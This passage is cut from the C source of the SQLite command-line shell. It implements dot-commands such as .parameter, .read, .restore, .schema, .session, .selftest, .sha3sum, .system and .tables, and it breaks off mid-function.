bind_table_init(p);
}else
/* .parameter set NAME VALUE
** Set or reset a bind parameter. NAME should be the full parameter
** name exactly as it appears in the query. (ex: $abc, @def). The
** VALUE can be in either SQL literal notation, or if not it will be
** understood to be a text string.
*/
if( nArg==4 && strcmp(azArg[1],"set")==0 ){
int rx;
char *zSql;
sqlite3_stmt *pStmt;
const char *zKey = azArg[2];
const char *zValue = azArg[3];
bind_table_init(p);
zSql = sqlite3_mprintf(
"REPLACE INTO temp.sqlite_parameters(key,value)"
"VALUES(%Q,%s);", zKey, zValue);
if( zSql==0 ) shell_out_of_memory();
pStmt = 0;
rx = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
sqlite3_free(zSql);
if( rx!=SQLITE_OK ){
sqlite3_finalize(pStmt);
pStmt = 0;
zSql = sqlite3_mprintf(
"REPLACE INTO temp.sqlite_parameters(key,value)"
"VALUES(%Q,%Q);", zKey, zValue);
if( zSql==0 ) shell_out_of_memory();
rx = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
sqlite3_free(zSql);
if( rx!=SQLITE_OK ){
utf8_printf(p->out, "Error: %s\n", sqlite3_errmsg(p->db));
sqlite3_finalize(pStmt);
pStmt = 0;
rc = 1;
}
}
sqlite3_step(pStmt);
sqlite3_finalize(pStmt);
}else
/* .parameter unset NAME
** Remove the NAME binding from the parameter binding table, if it
** exists.
*/
if( nArg==3 && strcmp(azArg[1],"unset")==0 ){
char *zSql = sqlite3_mprintf(
"DELETE FROM temp.sqlite_parameters WHERE key=%Q", azArg[2]);
if( zSql==0 ) shell_out_of_memory();
sqlite3_exec(p->db, zSql, 0, 0, 0);
sqlite3_free(zSql);
}else
/* If no command name matches, show a syntax error */
parameter_syntax_error:
showHelp(p->out, "parameter");
}else
if( c=='p' && n>=3 && strncmp(azArg[0], "print", n)==0 ){
int i;
for(i=1; i<nArg; i++){
if( i>1 ) raw_printf(p->out, " ");
utf8_printf(p->out, "%s", azArg[i]);
}
raw_printf(p->out, "\n");
}else
#ifndef SQLITE_OMIT_PROGRESS_CALLBACK
if( c=='p' && n>=3 && strncmp(azArg[0], "progress", n)==0 ){
int i;
int nn = 0;
p->flgProgress = 0;
p->mxProgress = 0;
p->nProgress = 0;
for(i=1; i<nArg; i++){
const char *z = azArg[i];
if( z[0]=='-' ){
z++;
if( z[0]=='-' ) z++;
if( strcmp(z,"quiet")==0 || strcmp(z,"q")==0 ){
p->flgProgress |= SHELL_PROGRESS_QUIET;
continue;
}
if( strcmp(z,"reset")==0 ){
p->flgProgress |= SHELL_PROGRESS_RESET;
continue;
}
if( strcmp(z,"once")==0 ){
p->flgProgress |= SHELL_PROGRESS_ONCE;
continue;
}
if( strcmp(z,"limit")==0 ){
if( i+1>=nArg ){
utf8_printf(stderr, "Error: missing argument on --limit\n");
rc = 1;
goto meta_command_exit;
}else{
p->mxProgress = (int)integerValue(azArg[++i]);
}
continue;
}
utf8_printf(stderr, "Error: unknown option: \"%s\"\n", azArg[i]);
rc = 1;
goto meta_command_exit;
}else{
nn = (int)integerValue(z);
}
}
open_db(p, 0);
sqlite3_progress_handler(p->db, nn, progress_handler, p);
}else
#endif /* SQLITE_OMIT_PROGRESS_CALLBACK */
if( c=='p' && strncmp(azArg[0], "prompt", n)==0 ){
if( nArg >= 2) {
strncpy(mainPrompt,azArg[1],(int)ArraySize(mainPrompt)-1);
}
if( nArg >= 3) {
strncpy(continuePrompt,azArg[2],(int)ArraySize(continuePrompt)-1);
}
}else
if( c=='q' && strncmp(azArg[0], "quit", n)==0 ){
rc = 2;
}else
if( c=='r' && n>=3 && strncmp(azArg[0], "read", n)==0 ){
FILE *inSaved = p->in;
int savedLineno = p->lineno;
if( nArg!=2 ){
raw_printf(stderr, "Usage: .read FILE\n");
rc = 1;
goto meta_command_exit;
}
if( azArg[1][0]=='|' ){
#ifdef SQLITE_OMIT_POPEN
raw_printf(stderr, "Error: pipes are not supported in this OS\n");
rc = 1;
p->out = stdout;
#else
p->in = popen(azArg[1]+1, "r");
if( p->in==0 ){
utf8_printf(stderr, "Error: cannot open \"%s\"\n", azArg[1]);
rc = 1;
}else{
rc = process_input(p);
pclose(p->in);
}
#endif
}else if( notNormalFile(azArg[1]) || (p->in = fopen(azArg[1], "rb"))==0 ){
utf8_printf(stderr,"Error: cannot open \"%s\"\n", azArg[1]);
rc = 1;
}else{
rc = process_input(p);
fclose(p->in);
}
p->in = inSaved;
p->lineno = savedLineno;
}else
if( c=='r' && n>=3 && strncmp(azArg[0], "restore", n)==0 ){
const char *zSrcFile;
const char *zDb;
sqlite3 *pSrc;
sqlite3_backup *pBackup;
int nTimeout = 0;
if( nArg==2 ){
zSrcFile = azArg[1];
zDb = "main";
}else if( nArg==3 ){
zSrcFile = azArg[2];
zDb = azArg[1];
}else{
raw_printf(stderr, "Usage: .restore ?DB? FILE\n");
rc = 1;
goto meta_command_exit;
}
rc = sqlite3_open(zSrcFile, &pSrc);
if( rc!=SQLITE_OK ){
utf8_printf(stderr, "Error: cannot open \"%s\"\n", zSrcFile);
close_db(pSrc);
return 1;
}
open_db(p, 0);
pBackup = sqlite3_backup_init(p->db, zDb, pSrc, "main");
if( pBackup==0 ){
utf8_printf(stderr, "Error: %s\n", sqlite3_errmsg(p->db));
close_db(pSrc);
return 1;
}
while( (rc = sqlite3_backup_step(pBackup,100))==SQLITE_OK
|| rc==SQLITE_BUSY ){
if( rc==SQLITE_BUSY ){
if( nTimeout++ >= 3 ) break;
sqlite3_sleep(100);
}
}
sqlite3_backup_finish(pBackup);
if( rc==SQLITE_DONE ){
rc = 0;
}else if( rc==SQLITE_BUSY || rc==SQLITE_LOCKED ){
raw_printf(stderr, "Error: source database is busy\n");
rc = 1;
}else{
utf8_printf(stderr, "Error: %s\n", sqlite3_errmsg(p->db));
rc = 1;
}
close_db(pSrc);
}else
if( c=='s' && strncmp(azArg[0], "scanstats", n)==0 ){
if( nArg==2 ){
p->scanstatsOn = (u8)booleanValue(azArg[1]);
#ifndef SQLITE_ENABLE_STMT_SCANSTATUS
raw_printf(stderr, "Warning: .scanstats not available in this build.\n");
#endif
}else{
raw_printf(stderr, "Usage: .scanstats on|off\n");
rc = 1;
}
}else
if( c=='s' && strncmp(azArg[0], "schema", n)==0 ){
ShellText sSelect;
ShellState data;
char *zErrMsg = 0;
const char *zDiv = "(";
const char *zName = 0;
int iSchema = 0;
int bDebug = 0;
int bNoSystemTabs = 0;
int ii;
open_db(p, 0);
memcpy(&data, p, sizeof(data));
data.showHeader = 0;
data.cMode = data.mode = MODE_Semi;
initText(&sSelect);
for(ii=1; ii<nArg; ii++){
if( optionMatch(azArg[ii],"indent") ){
data.cMode = data.mode = MODE_Pretty;
}else if( optionMatch(azArg[ii],"debug") ){
bDebug = 1;
}else if( optionMatch(azArg[ii],"nosys") ){
bNoSystemTabs = 1;
}else if( azArg[ii][0]=='-' ){
utf8_printf(stderr, "Unknown option: \"%s\"\n", azArg[ii]);
rc = 1;
goto meta_command_exit;
}else if( zName==0 ){
zName = azArg[ii];
}else{
raw_printf(stderr, "Usage: .schema ?--indent? ?--nosys? ?LIKE-PATTERN?\n");
rc = 1;
goto meta_command_exit;
}
}
if( zName!=0 ){
int isSchema = sqlite3_strlike(zName, "sqlite_master", '\\')==0
|| sqlite3_strlike(zName, "sqlite_schema", '\\')==0
|| sqlite3_strlike(zName,"sqlite_temp_master", '\\')==0
|| sqlite3_strlike(zName,"sqlite_temp_schema", '\\')==0;
if( isSchema ){
char *new_argv[2], *new_colv[2];
new_argv[0] = sqlite3_mprintf(
"CREATE TABLE %s (\n"
" type text,\n"
" name text,\n"
" tbl_name text,\n"
" rootpage integer,\n"
" sql text\n"
")", zName);
new_argv[1] = 0;
new_colv[0] = "sql";
new_colv[1] = 0;
callback(&data, 1, new_argv, new_colv);
sqlite3_free(new_argv[0]);
}
}
if( zDiv ){
sqlite3_stmt *pStmt = 0;
rc = sqlite3_prepare_v2(p->db, "SELECT name FROM pragma_database_list",
-1, &pStmt, 0);
if( rc ){
utf8_printf(stderr, "Error: %s\n", sqlite3_errmsg(p->db));
sqlite3_finalize(pStmt);
rc = 1;
goto meta_command_exit;
}
appendText(&sSelect, "SELECT sql FROM", 0);
iSchema = 0;
while( sqlite3_step(pStmt)==SQLITE_ROW ){
const char *zDb = (const char*)sqlite3_column_text(pStmt, 0);
char zScNum[30];
sqlite3_snprintf(sizeof(zScNum), zScNum, "%d", ++iSchema);
appendText(&sSelect, zDiv, 0);
zDiv = " UNION ALL ";
appendText(&sSelect, "SELECT shell_add_schema(sql,", 0);
if( sqlite3_stricmp(zDb, "main")!=0 ){
appendText(&sSelect, zDb, '\'');
}else{
appendText(&sSelect, "NULL", 0);
}
appendText(&sSelect, ",name) AS sql, type, tbl_name, name, rowid,", 0);
appendText(&sSelect, zScNum, 0);
appendText(&sSelect, " AS snum, ", 0);
appendText(&sSelect, zDb, '\'');
appendText(&sSelect, " AS sname FROM ", 0);
appendText(&sSelect, zDb, quoteChar(zDb));
appendText(&sSelect, ".sqlite_schema", 0);
}
sqlite3_finalize(pStmt);
#ifndef SQLITE_OMIT_INTROSPECTION_PRAGMAS
if( zName ){
appendText(&sSelect,
" UNION ALL SELECT shell_module_schema(name),"
" 'table', name, name, name, 9e+99, 'main' FROM pragma_module_list",
0);
}
#endif
appendText(&sSelect, ") WHERE ", 0);
if( zName ){
char *zQarg = sqlite3_mprintf("%Q", zName);
int bGlob = strchr(zName, '*') != 0 || strchr(zName, '?') != 0 ||
strchr(zName, '[') != 0;
if( strchr(zName, '.') ){
appendText(&sSelect, "lower(printf('%s.%s',sname,tbl_name))", 0);
}else{
appendText(&sSelect, "lower(tbl_name)", 0);
}
appendText(&sSelect, bGlob ? " GLOB " : " LIKE ", 0);
appendText(&sSelect, zQarg, 0);
if( !bGlob ){
appendText(&sSelect, " ESCAPE '\\' ", 0);
}
appendText(&sSelect, " AND ", 0);
sqlite3_free(zQarg);
}
if( bNoSystemTabs ){
appendText(&sSelect, "name NOT LIKE 'sqlite_%%' AND ", 0);
}
appendText(&sSelect, "sql IS NOT NULL"
" ORDER BY snum, rowid", 0);
if( bDebug ){
utf8_printf(p->out, "SQL: %s;\n", sSelect.z);
}else{
rc = sqlite3_exec(p->db, sSelect.z, callback, &data, &zErrMsg);
}
freeText(&sSelect);
}
if( zErrMsg ){
utf8_printf(stderr,"Error: %s\n", zErrMsg);
sqlite3_free(zErrMsg);
rc = 1;
}else if( rc != SQLITE_OK ){
raw_printf(stderr,"Error: querying schema information\n");
rc = 1;
}else{
rc = 0;
}
}else
if( c=='s' && n==11 && strncmp(azArg[0], "selecttrace", n)==0 ){
unsigned int x = nArg>=2 ? (unsigned int)integerValue(azArg[1]) : 0xffffffff;
sqlite3_test_control(SQLITE_TESTCTRL_TRACEFLAGS, 1, &x);
}else
#if defined(SQLITE_ENABLE_SESSION)
if( c=='s' && strncmp(azArg[0],"session",n)==0 && n>=3 ){
OpenSession *pSession = &p->aSession[0];
char **azCmd = &azArg[1];
int iSes = 0;
int nCmd = nArg - 1;
int i;
if( nArg<=1 ) goto session_syntax_error;
open_db(p, 0);
if( nArg>=3 ){
for(iSes=0; iSes<p->nSession; iSes++){
if( strcmp(p->aSession[iSes].zName, azArg[1])==0 ) break;
}
if( iSes<p->nSession ){
pSession = &p->aSession[iSes];
azCmd++;
nCmd--;
}else{
pSession = &p->aSession[0];
iSes = 0;
}
}
/* .session attach TABLE
** Invoke the sqlite3session_attach() interface to attach a particular
** table so that it is never filtered.
*/
if( strcmp(azCmd[0],"attach")==0 ){
if( nCmd!=2 ) goto session_syntax_error;
if( pSession->p==0 ){
session_not_open:
raw_printf(stderr, "ERROR: No sessions are open\n");
}else{
rc = sqlite3session_attach(pSession->p, azCmd[1]);
if( rc ){
raw_printf(stderr, "ERROR: sqlite3session_attach() returns %d\n", rc);
rc = 0;
}
}
}else
/* .session changeset FILE
** .session patchset FILE
** Write a changeset or patchset into a file. The file is overwritten.
*/
if( strcmp(azCmd[0],"changeset")==0 || strcmp(azCmd[0],"patchset")==0 ){
FILE *out = 0;
if( nCmd!=2 ) goto session_syntax_error;
if( pSession->p==0 ) goto session_not_open;
out = fopen(azCmd[1], "wb");
if( out==0 ){
utf8_printf(stderr, "ERROR: cannot open \"%s\" for writing\n",
azCmd[1]);
}else{
int szChng;
void *pChng;
if( azCmd[0][0]=='c' ){
rc = sqlite3session_changeset(pSession->p, &szChng, &pChng);
}else{
rc = sqlite3session_patchset(pSession->p, &szChng, &pChng);
}
if( rc ){
printf("Error: error code %d\n", rc);
rc = 0;
}
if( pChng
&& fwrite(pChng, szChng, 1, out)!=1 ){
raw_printf(stderr, "ERROR: Failed to write entire %d-byte output\n",
szChng);
}
sqlite3_free(pChng);
fclose(out);
}
}else
/* .session close
** Close the identified session
*/
if( strcmp(azCmd[0], "close")==0 ){
if( nCmd!=1 ) goto session_syntax_error;
if( p->nSession ){
session_close(pSession);
p->aSession[iSes] = p->aSession[--p->nSession];
}
}else
/* .session enable ?BOOLEAN?
** Query or set the enable flag
*/
if( strcmp(azCmd[0], "enable")==0 ){
int ii;
if( nCmd>2 ) goto session_syntax_error;
ii = nCmd==1 ? -1 : booleanValue(azCmd[1]);
if( p->nSession ){
ii = sqlite3session_enable(pSession->p, ii);
utf8_printf(p->out, "session %s enable flag = %d\n",
pSession->zName, ii);
}
}else
/* .session filter GLOB ....
** Set a list of GLOB patterns of table names to be excluded.
*/
if( strcmp(azCmd[0], "filter")==0 ){
int ii, nByte;
if( nCmd<2 ) goto session_syntax_error;
if( p->nSession ){
for(ii=0; ii<pSession->nFilter; ii++){
sqlite3_free(pSession->azFilter[ii]);
}
sqlite3_free(pSession->azFilter);
nByte = sizeof(pSession->azFilter[0])*(nCmd-1);
pSession->azFilter = sqlite3_malloc( nByte );
if( pSession->azFilter==0 ){
raw_printf(stderr, "Error: out or memory\n");
exit(1);
}
for(ii=1; ii<nCmd; ii++){
pSession->azFilter[ii-1] = sqlite3_mprintf("%s", azCmd[ii]);
}
pSession->nFilter = ii-1;
}
}else
/* .session indirect ?BOOLEAN?
** Query or set the indirect flag
*/
if( strcmp(azCmd[0], "indirect")==0 ){
int ii;
if( nCmd>2 ) goto session_syntax_error;
ii = nCmd==1 ? -1 : booleanValue(azCmd[1]);
if( p->nSession ){
ii = sqlite3session_indirect(pSession->p, ii);
utf8_printf(p->out, "session %s indirect flag = %d\n",
pSession->zName, ii);
}
}else
/* .session isempty
** Determine if the session is empty
*/
if( strcmp(azCmd[0], "isempty")==0 ){
int ii;
if( nCmd!=1 ) goto session_syntax_error;
if( p->nSession ){
ii = sqlite3session_isempty(pSession->p);
utf8_printf(p->out, "session %s isempty flag = %d\n",
pSession->zName, ii);
}
}else
/* .session list
** List all currently open sessions
*/
if( strcmp(azCmd[0],"list")==0 ){
for(i=0; i<p->nSession; i++){
utf8_printf(p->out, "%d %s\n", i, p->aSession[i].zName);
}
}else
/* .session open DB NAME
** Open a new session called NAME on the attached database DB.
** DB is normally "main".
*/
if( strcmp(azCmd[0],"open")==0 ){
char *zName;
if( nCmd!=3 ) goto session_syntax_error;
zName = azCmd[2];
if( zName[0]==0 ) goto session_syntax_error;
for(i=0; i<p->nSession; i++){
if( strcmp(p->aSession[i].zName,zName)==0 ){
utf8_printf(stderr, "Session \"%s\" already exists\n", zName);
goto meta_command_exit;
}
}
if( p->nSession>=ArraySize(p->aSession) ){
raw_printf(stderr, "Maximum of %d sessions\n", ArraySize(p->aSession));
goto meta_command_exit;
}
pSession = &p->aSession[p->nSession];
rc = sqlite3session_create(p->db, azCmd[1], &pSession->p);
if( rc ){
raw_printf(stderr, "Cannot open session: error code=%d\n", rc);
rc = 0;
goto meta_command_exit;
}
pSession->nFilter = 0;
sqlite3session_table_filter(pSession->p, session_filter, pSession);
p->nSession++;
pSession->zName = sqlite3_mprintf("%s", zName);
}else
/* If no command name matches, show a syntax error */
session_syntax_error:
showHelp(p->out, "session");
}else
#endif
#ifdef SQLITE_DEBUG
/* Undocumented commands for internal testing. Subject to change
** without notice. */
if( c=='s' && n>=10 && strncmp(azArg[0], "selftest-", 9)==0 ){
if( strncmp(azArg[0]+9, "boolean", n-9)==0 ){
int i, v;
for(i=1; i<nArg; i++){
v = booleanValue(azArg[i]);
utf8_printf(p->out, "%s: %d 0x%x\n", azArg[i], v, v);
}
}
if( strncmp(azArg[0]+9, "integer", n-9)==0 ){
int i; sqlite3_int64 v;
for(i=1; i<nArg; i++){
char zBuf[200];
v = integerValue(azArg[i]);
sqlite3_snprintf(sizeof(zBuf),zBuf,"%s: %lld 0x%llx\n", azArg[i],v,v);
utf8_printf(p->out, "%s", zBuf);
}
}
}else
#endif
if( c=='s' && n>=4 && strncmp(azArg[0],"selftest",n)==0 ){
int bIsInit = 0; /* True to initialize the SELFTEST table */
int bVerbose = 0; /* Verbose output */
int bSelftestExists; /* True if SELFTEST already exists */
int i, k; /* Loop counters */
int nTest = 0; /* Number of tests runs */
int nErr = 0; /* Number of errors seen */
ShellText str; /* Answer for a query */
sqlite3_stmt *pStmt = 0; /* Query against the SELFTEST table */
open_db(p,0);
for(i=1; i<nArg; i++){
const char *z = azArg[i];
if( z[0]=='-' && z[1]=='-' ) z++;
if( strcmp(z,"-init")==0 ){
bIsInit = 1;
}else
if( strcmp(z,"-v")==0 ){
bVerbose++;
}else
{
utf8_printf(stderr, "Unknown option \"%s\" on \"%s\"\n",
azArg[i], azArg[0]);
raw_printf(stderr, "Should be one of: --init -v\n");
rc = 1;
goto meta_command_exit;
}
}
if( sqlite3_table_column_metadata(p->db,"main","selftest",0,0,0,0,0,0)
!= SQLITE_OK ){
bSelftestExists = 0;
}else{
bSelftestExists = 1;
}
if( bIsInit ){
createSelftestTable(p);
bSelftestExists = 1;
}
initText(&str);
appendText(&str, "x", 0);
for(k=bSelftestExists; k>=0; k--){
if( k==1 ){
rc = sqlite3_prepare_v2(p->db,
"SELECT tno,op,cmd,ans FROM selftest ORDER BY tno",
-1, &pStmt, 0);
}else{
rc = sqlite3_prepare_v2(p->db,
"VALUES(0,'memo','Missing SELFTEST table - default checks only',''),"
" (1,'run','PRAGMA integrity_check','ok')",
-1, &pStmt, 0);
}
if( rc ){
raw_printf(stderr, "Error querying the selftest table\n");
rc = 1;
sqlite3_finalize(pStmt);
goto meta_command_exit;
}
for(i=1; sqlite3_step(pStmt)==SQLITE_ROW; i++){
int tno = sqlite3_column_int(pStmt, 0);
const char *zOp = (const char*)sqlite3_column_text(pStmt, 1);
const char *zSql = (const char*)sqlite3_column_text(pStmt, 2);
const char *zAns = (const char*)sqlite3_column_text(pStmt, 3);
k = 0;
if( bVerbose>0 ){
char *zQuote = sqlite3_mprintf("%q", zSql);
printf("%d: %s %s\n", tno, zOp, zSql);
sqlite3_free(zQuote);
}
if( strcmp(zOp,"memo")==0 ){
utf8_printf(p->out, "%s\n", zSql);
}else
if( strcmp(zOp,"run")==0 ){
char *zErrMsg = 0;
str.n = 0;
str.z[0] = 0;
rc = sqlite3_exec(p->db, zSql, captureOutputCallback, &str, &zErrMsg);
nTest++;
if( bVerbose ){
utf8_printf(p->out, "Result: %s\n", str.z);
}
if( rc || zErrMsg ){
nErr++;
rc = 1;
utf8_printf(p->out, "%d: error-code-%d: %s\n", tno, rc, zErrMsg);
sqlite3_free(zErrMsg);
}else if( strcmp(zAns,str.z)!=0 ){
nErr++;
rc = 1;
utf8_printf(p->out, "%d: Expected: [%s]\n", tno, zAns);
utf8_printf(p->out, "%d: Got: [%s]\n", tno, str.z);
}
}else
{
utf8_printf(stderr,
"Unknown operation \"%s\" on selftest line %d\n", zOp, tno);
rc = 1;
break;
}
} /* End loop over rows of content from SELFTEST */
sqlite3_finalize(pStmt);
} /* End loop over k */
freeText(&str);
utf8_printf(p->out, "%d errors out of %d tests\n", nErr, nTest);
}else
if( c=='s' && strncmp(azArg[0], "separator", n)==0 ){
if( nArg<2 || nArg>3 ){
raw_printf(stderr, "Usage: .separator COL ?ROW?\n");
rc = 1;
}
if( nArg>=2 ){
sqlite3_snprintf(sizeof(p->colSeparator), p->colSeparator,
"%.*s", (int)ArraySize(p->colSeparator)-1, azArg[1]);
}
if( nArg>=3 ){
sqlite3_snprintf(sizeof(p->rowSeparator), p->rowSeparator,
"%.*s", (int)ArraySize(p->rowSeparator)-1, azArg[2]);
}
}else
if( c=='s' && n>=4 && strncmp(azArg[0],"sha3sum",n)==0 ){
const char *zLike = 0; /* Which table to checksum. 0 means everything */
int i; /* Loop counter */
int bSchema = 0; /* Also hash the schema */
int bSeparate = 0; /* Hash each table separately */
int iSize = 224; /* Hash algorithm to use */
int bDebug = 0; /* Only show the query that would have run */
sqlite3_stmt *pStmt; /* For querying tables names */
char *zSql; /* SQL to be run */
char *zSep; /* Separator */
ShellText sSql; /* Complete SQL for the query to run the hash */
ShellText sQuery; /* Set of queries used to read all content */
open_db(p, 0);
for(i=1; i<nArg; i++){
const char *z = azArg[i];
if( z[0]=='-' ){
z++;
if( z[0]=='-' ) z++;
if( strcmp(z,"schema")==0 ){
bSchema = 1;
}else
if( strcmp(z,"sha3-224")==0 || strcmp(z,"sha3-256")==0
|| strcmp(z,"sha3-384")==0 || strcmp(z,"sha3-512")==0
){
iSize = atoi(&z[5]);
}else
if( strcmp(z,"debug")==0 ){
bDebug = 1;
}else
{
utf8_printf(stderr, "Unknown option \"%s\" on \"%s\"\n",
azArg[i], azArg[0]);
showHelp(p->out, azArg[0]);
rc = 1;
goto meta_command_exit;
}
}else if( zLike ){
raw_printf(stderr, "Usage: .sha3sum ?OPTIONS? ?LIKE-PATTERN?\n");
rc = 1;
goto meta_command_exit;
}else{
zLike = z;
bSeparate = 1;
if( sqlite3_strlike("sqlite\\_%", zLike, '\\')==0 ) bSchema = 1;
}
}
if( bSchema ){
zSql = "SELECT lower(name) FROM sqlite_schema"
" WHERE type='table' AND coalesce(rootpage,0)>1"
" UNION ALL SELECT 'sqlite_schema'"
" ORDER BY 1 collate nocase";
}else{
zSql = "SELECT lower(name) FROM sqlite_schema"
" WHERE type='table' AND coalesce(rootpage,0)>1"
" AND name NOT LIKE 'sqlite_%'"
" ORDER BY 1 collate nocase";
}
sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
initText(&sQuery);
initText(&sSql);
appendText(&sSql, "WITH [sha3sum$query](a,b) AS(",0);
zSep = "VALUES(";
while( SQLITE_ROW==sqlite3_step(pStmt) ){
const char *zTab = (const char*)sqlite3_column_text(pStmt,0);
if( zLike && sqlite3_strlike(zLike, zTab, 0)!=0 ) continue;
if( strncmp(zTab, "sqlite_",7)!=0 ){
appendText(&sQuery,"SELECT * FROM ", 0);
appendText(&sQuery,zTab,'"');
appendText(&sQuery," NOT INDEXED;", 0);
}else if( strcmp(zTab, "sqlite_schema")==0 ){
appendText(&sQuery,"SELECT type,name,tbl_name,sql FROM sqlite_schema"
" ORDER BY name;", 0);
}else if( strcmp(zTab, "sqlite_sequence")==0 ){
appendText(&sQuery,"SELECT name,seq FROM sqlite_sequence"
" ORDER BY name;", 0);
}else if( strcmp(zTab, "sqlite_stat1")==0 ){
appendText(&sQuery,"SELECT tbl,idx,stat FROM sqlite_stat1"
" ORDER BY tbl,idx;", 0);
}else if( strcmp(zTab, "sqlite_stat4")==0 ){
appendText(&sQuery, "SELECT * FROM ", 0);
appendText(&sQuery, zTab, 0);
appendText(&sQuery, " ORDER BY tbl, idx, rowid;\n", 0);
}
appendText(&sSql, zSep, 0);
appendText(&sSql, sQuery.z, '\'');
sQuery.n = 0;
appendText(&sSql, ",", 0);
appendText(&sSql, zTab, '\'');
zSep = "),(";
}
sqlite3_finalize(pStmt);
if( bSeparate ){
zSql = sqlite3_mprintf(
"%s))"
" SELECT lower(hex(sha3_query(a,%d))) AS hash, b AS label"
" FROM [sha3sum$query]",
sSql.z, iSize);
}else{
zSql = sqlite3_mprintf(
"%s))"
" SELECT lower(hex(sha3_query(group_concat(a,''),%d))) AS hash"
" FROM [sha3sum$query]",
sSql.z, iSize);
}
freeText(&sQuery);
freeText(&sSql);
if( bDebug ){
utf8_printf(p->out, "%s\n", zSql);
}else{
shell_exec(p, zSql, 0);
}
sqlite3_free(zSql);
}else
#ifndef SQLITE_NOHAVE_SYSTEM
if( c=='s'
&& (strncmp(azArg[0], "shell", n)==0 || strncmp(azArg[0],"system",n)==0)
){
char *zCmd;
int i, x;
if( nArg<2 ){
raw_printf(stderr, "Usage: .system COMMAND\n");
rc = 1;
goto meta_command_exit;
}
zCmd = sqlite3_mprintf(strchr(azArg[1],' ')==0?"%s":"\"%s\"", azArg[1]);
for(i=2; i<nArg; i++){
zCmd = sqlite3_mprintf(strchr(azArg[i],' ')==0?"%z %s":"%z \"%s\"",
zCmd, azArg[i]);
}
x = system(zCmd);
sqlite3_free(zCmd);
if( x ) raw_printf(stderr, "System command returns %d\n", x);
}else
#endif /* !defined(SQLITE_NOHAVE_SYSTEM) */
if( c=='s' && strncmp(azArg[0], "show", n)==0 ){
static const char *azBool[] = { "off", "on", "trigger", "full"};
const char *zOut;
int i;
if( nArg!=1 ){
raw_printf(stderr, "Usage: .show\n");
rc = 1;
goto meta_command_exit;
}
utf8_printf(p->out, "%12.12s: %s\n","echo",
azBool[ShellHasFlag(p, SHFLG_Echo)]);
utf8_printf(p->out, "%12.12s: %s\n","eqp", azBool[p->autoEQP&3]);
utf8_printf(p->out, "%12.12s: %s\n","explain",
p->mode==MODE_Explain ? "on" : p->autoExplain ? "auto" : "off");
utf8_printf(p->out,"%12.12s: %s\n","headers", azBool[p->showHeader!=0]);
utf8_printf(p->out, "%12.12s: %s\n","mode", modeDescr[p->mode]);
utf8_printf(p->out, "%12.12s: ", "nullvalue");
output_c_string(p->out, p->nullValue);
raw_printf(p->out, "\n");
utf8_printf(p->out,"%12.12s: %s\n","output",
strlen30(p->outfile) ? p->outfile : "stdout");
utf8_printf(p->out,"%12.12s: ", "colseparator");
output_c_string(p->out, p->colSeparator);
raw_printf(p->out, "\n");
utf8_printf(p->out,"%12.12s: ", "rowseparator");
output_c_string(p->out, p->rowSeparator);
raw_printf(p->out, "\n");
switch( p->statsOn ){
case 0: zOut = "off"; break;
default: zOut = "on"; break;
case 2: zOut = "stmt"; break;
case 3: zOut = "vmstep"; break;
}
utf8_printf(p->out, "%12.12s: %s\n","stats", zOut);
utf8_printf(p->out, "%12.12s: ", "width");
for (i=0;i<p->nWidth;i++) {
raw_printf(p->out, "%d ", p->colWidth[i]);
}
raw_printf(p->out, "\n");
utf8_printf(p->out, "%12.12s: %s\n", "filename",
p->zDbFilename ? p->zDbFilename : "");
}else
if( c=='s' && strncmp(azArg[0], "stats", n)==0 ){
if( nArg==2 ){
if( strcmp(azArg[1],"stmt")==0 ){
p->statsOn = 2;
}else if( strcmp(azArg[1],"vmstep")==0 ){
p->statsOn = 3;
}else{
p->statsOn = (u8)booleanValue(azArg[1]);
}
}else if( nArg==1 ){
display_stats(p->db, p, 0);
}else{
raw_printf(stderr, "Usage: .stats ?on|off|stmt|vmstep?\n");
rc = 1;
}
}else
if( (c=='t' && n>1 && strncmp(azArg[0], "tables", n)==0)
|| (c=='i' && (strncmp(azArg[0], "indices", n)==0
|| strncmp(azArg[0], "indexes", n)==0) )
){
sqlite3_stmt *pStmt;
char **azResult;
int nRow, nAlloc;
int ii;
ShellText s;
initText(&s);
open_db(p, 0);
rc = sqlite3_prepare_v2(p->db, "PRAGMA database_list", -1, &pStmt, 0);
if( rc ){
sqlite3_finalize(pStmt);
return shellDatabaseError(p->db);
}
if( nArg>2 && c=='i' ){
/* It is an historical accident that the .indexes command shows an error
** when called with the wrong number of arguments whereas the .tables
** command does not. */
raw_printf(stderr, "Usage: .indexes ?LIKE-PATTERN?\n");
rc = 1;
sqlite3_finalize(pStmt);
goto meta_command_exit;
}
for(ii=0; sqlite3_step(pStmt)==SQLITE_ROW; ii++){
const char *zDbName = (const char*)sqlite3_column_text(pStmt, 1);
if( zDbName==0 ) continue;
if( s.z && s.z[0] ) appendText(&s, " UNION ALL ", 0);
if( sqlite3_stricmp(zDbName, "main")==0 ){
appendText(&s, "SELECT name FROM ", 0);
}else{
appendText(&s, "SELECT ", 0);
appendText(&s, zDbName, '\'');
appendText(&s, "||'.'||name FROM ", 0);
}
appendText(&s, zDbName, '"');
appendText(&s, ".sqlite_schema ", 0);
if( c=='t' ){
appendText(&s," WHERE type IN ('table','view')"
" AND name NOT LIKE 'sqlite_%'"
" AND name LIKE ?1", 0);
}else{
appendText(&s," WHERE type='index'"
" AND tbl_name LIKE ?1", 0);
}
}
rc = sqlite3_finalize(pStmt);
appendText(&s, " ORDER BY 1", 0);
rc = sqlite3_prepare_v2(p->db, s.z, -1, &pStmt, 0);
freeText(&s);
if( rc ) return shellDatabaseError(p->db);
/* Run the SQL statement prepared by the above block. Store the results
** as an array of nul-terminated strings in azResult[]. */
nRow = nAlloc = 0;
azResult = 0;
if( nArg>1 ){
sqlite3_bind_text(pStmt, 1, azArg[1], -1, SQLITE_TRANSIENT);
}else{
sqlite3_bind_text(pStmt, 1, "%", -1, SQLITE_STATIC);
}
while( sqlite3_step(pStmt)==SQLITE_ROW ){
if( nRow>=nAlloc ){
char **azNew;
int n2 = nAlloc*2 + 10;
azNew = sqlite3_realloc64(azResult, sizeof(azResult[0])*n2);
if( azNew==0 ) shell_out_of_memory();
nAlloc = n2;
azResult = azNew;
}
azResult[nRow] = sqlite3_mprintf("%s", sqlite3_column_text(pStmt, 0));
if( 0==azResult[nRow] ) shell_out_of_memory();
nRow++;
}
if( sqlite3_finalize(pStmt)!=SQLITE_OK ){
rc = shellDatabaseError(p->db);
}
/* Pretty-print the contents of array azResult[] to the output */
if( rc==0 && nRow>0 ){
